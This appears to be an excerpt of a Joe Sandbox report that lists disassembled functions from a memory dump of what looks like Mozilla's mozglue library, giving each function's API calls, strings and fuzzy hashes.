Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: abde715127edede73f143170987bad88805ff48b0455270304051687d7b68114
Instruction ID: 26b66cb93819678ce51e7b3785c98241d4fdf2c2285cab1a313c3696356d20e5
Opcode Fuzzy Hash: abde715127edede73f143170987bad88805ff48b0455270304051687d7b68114
Instruction Fuzzy Hash: B962BE71A2C3858FD701CF29C09275EBBF2AF86358F184A1DE4E54BA91C33599C5CB82

Function 6CAA9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6CAAAB22
0, xrefs: 6CAAA100
' , xrefs: 6CAAA3D8
@, xrefs: 6CAAA625
1, xrefs: 6CAAA824
9, xrefs: 6CAAA5D6

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 6bbbbe5ed11d940c2467ddccb6f1d303ccb56639323958c703023aaa9ecc9a8c
Instruction ID: 878276374b81144314a7ff6745b6ef809fe1e5c17b5f8eb94a92096476d933a8
Opcode Fuzzy Hash: 6bbbbe5ed11d940c2467ddccb6f1d303ccb56639323958c703023aaa9ecc9a8c
Instruction Fuzzy Hash: 1E82CE315093159FD7118E8AC08036EB7E3EB85748F598A2EE8D547A90D3359CCBCF92

Function 6CA9BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA9C1CB
__aulldiv.LIBCMT ref: 6CA9C24C
__aulldiv.LIBCMT ref: 6CA9C348
__aullrem.LIBCMT ref: 6CA9C365
__aulldiv.LIBCMT ref: 6CA9C37D

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 77a4ff7cc33bcb87a0a5255793a4827f228ee4b9e1813a13d544364d53f3f2fd
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 11324532B14A118FC718DE2CC891A56BBE6AFC9314F09867DE899CB395D730ED05CB91

Function 6CB0545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB08A4B

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 2a30d1b43d4e3bfd7d403268552abe489839beb3b0cff93f9b7ebbffebaf5804
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 82B1D672F0125A8FDB24CF68CC917ADBBB2EF85314F1402A9C549DBB91D7309989CB91

Function 6CB0542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB088F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB0925C

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: cd93a67d0b416ecb251cd82e35879e20cb312a669b89762f24ac6478e98ce777
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 66B1C572F0124ACBCB14CE58CC816EDBBB2EF85314F150279C549DBB95D731AA89CB91

Function 6CB050C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB08E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB0925C

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: f2753051e51b49b0198e45b3345c0d782ce70fa65c4aad8f117bfee0be44e914
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 25A1D672F001568BCB14CE68CC8079DBBB2EF85314F1542B9C949DB785D730A999CB91

Function 6CAE77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAE7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAE7A93

Part of subcall function 6CAB5C50: GetTickCount64.KERNEL32 ref: 6CAB5D40
Part of subcall function 6CAB5C50: EnterCriticalSection.KERNEL32(6CB1F688), ref: 6CAB5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAE7AA1

Part of subcall function 6CAB5C50: __aulldiv.LIBCMT ref: 6CAB5DB4
Part of subcall function 6CAB5C50: LeaveCriticalSection.KERNEL32(6CB1F688), ref: 6CAB5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6CAE7B31

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: bf06102d71366b0676df1500f21cb5259d1ea25c619f0084ab446310d35a6b76
Instruction ID: b1f1dd8b646d23c151141879282b1992e2d715922919b38e560aad3e27bb9d39
Opcode Fuzzy Hash: bf06102d71366b0676df1500f21cb5259d1ea25c619f0084ab446310d35a6b76
Instruction Fuzzy Hash: A6B19F356083908BCB14CF24C15065FB7E2AFC9318F194A1CE995A7791DB70E98ADBC2

Function 6CAD6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CAD6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAD6E1E

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 445c9ab4b77a67d2e784f199cc8cbbee6277f8dd44d0493758c6fbd5853915b8
Instruction ID: 3d923828c33384443f501da256abc34e57a54e82dc0a747005d802a1d6561d9c
Opcode Fuzzy Hash: 445c9ab4b77a67d2e784f199cc8cbbee6277f8dd44d0493758c6fbd5853915b8
Instruction Fuzzy Hash: C5A17C746187858FD714CF24C590BAAFBF2BF88308F05495DE48A87B51DB70B888CB92

Function 6CAFB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6CAFB720
RtlNtStatusToDosError.NTDLL ref: 6CAFB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6CACFE3F,00000000,00000000,?,?,00000000,?,6CACFE3F), ref: 6CAFB760

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 4f8a9b029f24e7000a1faa7de283a3dd73ef111792a2420ae6cfed9529ed3160
Instruction ID: 62bfbcd9d614b7cd6b41c6684f839a9166a1a24a003ca07c0172d9b81c407224
Opcode Fuzzy Hash: 4f8a9b029f24e7000a1faa7de283a3dd73ef111792a2420ae6cfed9529ed3160
Instruction Fuzzy Hash: 99F0C2B0A4120CEEEF119AA1DC85BEF77BCDB08319F145229E52162AC1D774A5CCC662

Function 6CAB4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6CAB4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAB5585, 6CAB55A8, 6CAB55C3, 6CAB5624

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: ba9965d71df0636b998a2734cf7377e0df78a700d3c4a8db240e52817f256af2
Instruction ID: cfec568c880dc4e32ca1eb24682084d350c936008d61fb60bac00be70db22938
Opcode Fuzzy Hash: ba9965d71df0636b998a2734cf7377e0df78a700d3c4a8db240e52817f256af2
Instruction Fuzzy Hash: B8B27C71A05A018FD708CF28C590615BBE6BFC5328F2DC76DE46A9B7A5D771E881CB80

Function 6CAF85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CAF8C7C
__aulldiv.LIBCMT ref: 6CAF8DD7

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 68b968b6badfafc6637c7c427cc772f047af5d77a77907fb9267ad43791eb2c7
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 11327331F011198BDF18CE9EC8A17EEB7B2FB89300F15853AE516BB790D6345D868B91

Function 6CAFB8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CAA03D4,?), ref: 6CAFB955
NtQueryVirtualMemory.NTDLL ref: 6CAFB9A5

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 0c8db55f904df5bcd4847711eb4c8f15a583ec25859b672f512a0b8bdc0ce635
Instruction ID: 4316a04432c9db5c1de77b1cf2e36107c888ed2794e004a691f633ef9b4a0740
Opcode Fuzzy Hash: 0c8db55f904df5bcd4847711eb4c8f15a583ec25859b672f512a0b8bdc0ce635
Instruction Fuzzy Hash: D741D871F0021D9FDF04DFA9E895ADEB7B5EF88354F148229E415A7B04DB30A8858B91

Function 6CAD5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CAA4A63,?,?), ref: 6CAD5F06

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 6bb15ebcd074e803f300aebcb33ac10a962cd2d6401d52a29aaa551b6b7f642a
Instruction ID: 6b2af993d8c33fe09b01b59e715fdc553f3468d8779abc7769f719725874287c
Opcode Fuzzy Hash: 6bb15ebcd074e803f300aebcb33ac10a962cd2d6401d52a29aaa551b6b7f642a
Instruction Fuzzy Hash: 09C1B0B5E012098BCB04CF99C5906EEBBF2FF8A318F29415DD8556BB45D732B885CB90

Function 6CA9DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e595611de889ce9d85069d4a6d2702dd663b3a818abca02a180bef39698eb332
Instruction ID: 3baad1dea3d2330e3506787bbba2cd27a423adaa04b3660b4427d555901fb244
Opcode Fuzzy Hash: e595611de889ce9d85069d4a6d2702dd663b3a818abca02a180bef39698eb332
Instruction Fuzzy Hash: A442B372A187508BD308CE3CC49135AF7E2BFC9354F198B2DE999A7791D734D9818B82

Function 6CB076E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: f58e26345d10694dc7439e758b1edcd0e86580a43179a7aec06dddcfc53b13eb
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 99320871E006598FCB14CF99C890AADFBB2FF88304F6481A9C949A7745D771AD86CF90

Function 6CB06E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: fcf46974f51743bf8e46549f1ba5450137b3a9267a7d260814bfecf9704ce657
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 3322E871E006598FDB14CF98C880AADFBF2FF88304F6481A9C949A7745D771A986CF90

Function 6CAC0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 6d6305b3f7e4df035e31823996de1aa190e7e52a8f5718335f69f2fae63521d0
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 19221875E04619CFDB14CF98C890AADFBB2FF88304F588699D54AA7705D730A986CF81

Function 6CB0AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2806d23a14c749d2c106c1d9a1ac6efafa9f5d3293d4456a73b7979e7386aea4
Instruction ID: 1ef69e1debec42962e195a825215307cd81eddb5d5dbd822dc7d7ad59c8fb1ad
Opcode Fuzzy Hash: 2806d23a14c749d2c106c1d9a1ac6efafa9f5d3293d4456a73b7979e7386aea4
Instruction Fuzzy Hash: 53F114717087858FDB00CE28C8907AABBE6EFC5318F158E2DE4D487791E774D8858B92

Function 6CA9C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 6605562eb95ee23d654d37cb4c269f4bc09fa0f69db8acdbd6340a77ddcc8b5d
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 14A1B171F1061A8FDB08CE69C8913AEB7F2AFC8358F188169D915E7781DB349D468BD0

Function 6CAD7710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 8851ca59ba7bcb5a0721eb011cca9649ca2f10f86c4b664705b9f15ac59e5d4e
Instruction ID: 4ac4c6c408ad0de648d2292b9f88652f04307d59567c52ec1acfe420f298c9c2
Opcode Fuzzy Hash: 8851ca59ba7bcb5a0721eb011cca9649ca2f10f86c4b664705b9f15ac59e5d4e
Instruction Fuzzy Hash: FC716D75E012198FCF18CFA8D8905EDBBB2FF89314F29812ED815AB744D731A985CB90

Function 6CAD58E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 83dce9602860d9e3792333df7e8d8dfafadf28147837bbca161850e319a3a1b5
Instruction ID: 993ecbce7de827ac602d44216a8e5e278423835911eac29cd2ebdd6e89ea6b64
Opcode Fuzzy Hash: 83dce9602860d9e3792333df7e8d8dfafadf28147837bbca161850e319a3a1b5
Instruction Fuzzy Hash: E4817D75A012199FCB04CFADD8809EEBBF2FF89314F654269D411AB741D731B985CB90

Function 6CADCC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CAA582D), ref: 6CADCC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CAA582D), ref: 6CADCC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB0FE98,?,?,?,?,?,6CAA582D), ref: 6CADCC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CAA582D), ref: 6CADCC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CAA582D), ref: 6CADCC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CAA582D), ref: 6CADCC98
